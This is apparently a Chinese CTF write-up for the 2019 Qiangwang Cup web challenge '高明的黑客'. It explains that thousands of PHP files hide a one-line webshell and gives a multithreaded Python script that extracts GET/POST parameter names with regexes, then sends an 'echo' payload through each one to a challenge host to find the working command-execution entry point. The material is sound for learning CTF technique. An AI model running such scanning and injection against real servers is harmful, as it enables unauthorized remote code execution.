[強網杯 2019]高明的黑客
下載完源碼,本想好好審計,看到數目后我的內心
這么多的文件其實就是根據一句話木🐎的原理,在大批量的文件中找到你最中意的那個PHP預定義變量$_GET或者$_POST.
此題兩種解法,
挨個審計3002個文件,挨個傳參,運氣好第一次就有了.
??????????????????????????????????????????????????(小朋友的問號)
嗯……大概看完這3002個文件,代碼審計就不是啥難事了。
編程序然后喝雪碧等結果
學用了keelongz大佬的正則:
get:\$_GET\[\'(\w+)\'\]
post:\$_POST\[\'(\w+)\'\]
keelongz 大佬博客連接: https://www.cnblogs.com/keelongz/p/12643812.html
腳本解釋
寫了好久,python多線程看了一個小時,喝雪碧?做夢呢~
flag.txt存對應的php和參數信息
我把post的注釋了,因為在get里有那個回顯,文件太多了。
再測試第二次的時候,ip都給我ban了。
最大線程數記得盡量調的合適點,如果沒有輸出結果多半是被ban了ip,可以在自己本地測試。
import requests
import os
import re
import threading
import time
requests.adapters.DEFAULT_RETRIES = 8 #設置重連次數,防止線程數過高,斷開連接
session = requests.Session()
session.keep_alive = False # 設置連接活躍狀態為False
sem=threading.Semaphore(30) # 設置最大線程數 ,別設置太大,不然還是會崩的挺厲害的,跑到關鍵的爆炸,心態就爆炸了
url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"
# 下載的源文件路徑,根據自己的路徑修改
path = r"C:\Users\lenovo\Desktop\www\\"
rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get參數
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post參數
fileNames = os.listdir(path) # 列出目錄中的文件,以每個文件都開一個線程
local_file = open("flag.txt","w",encoding="utf-8")
def run(fileName):
with sem:
file = open( path + fileName, 'r',encoding='utf-8' )
content = file.read()
print("[+]checking:%s" % fileName )
#測試get的參數
for i in rrGET.findall(content):
r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
if "~h3zh1~" in r.text:
flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
print(flag)
local_file.write(flag)
#測試post的參數
#for i in rrPOST.findall(content):
# r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
# if "~h3zh1~" in r.text:
# flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
# print(flag)
# local_file.writelines(flag)
if __name__ == '__main__':
start_time = time.time() # 開始時間
print("[start]程序開始:"+str(start_time))
thread_list = []
for fileName in fileNames:
t = threading.Thread( target=run , args=(fileName,) )
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()
end_time = time.time()
local_file.close()
print("[end]程序結束:用時(秒):"+str(end_time-start_time))
運行截圖參考:
下圖的我把別的文件都刪了,就留了有問題的文件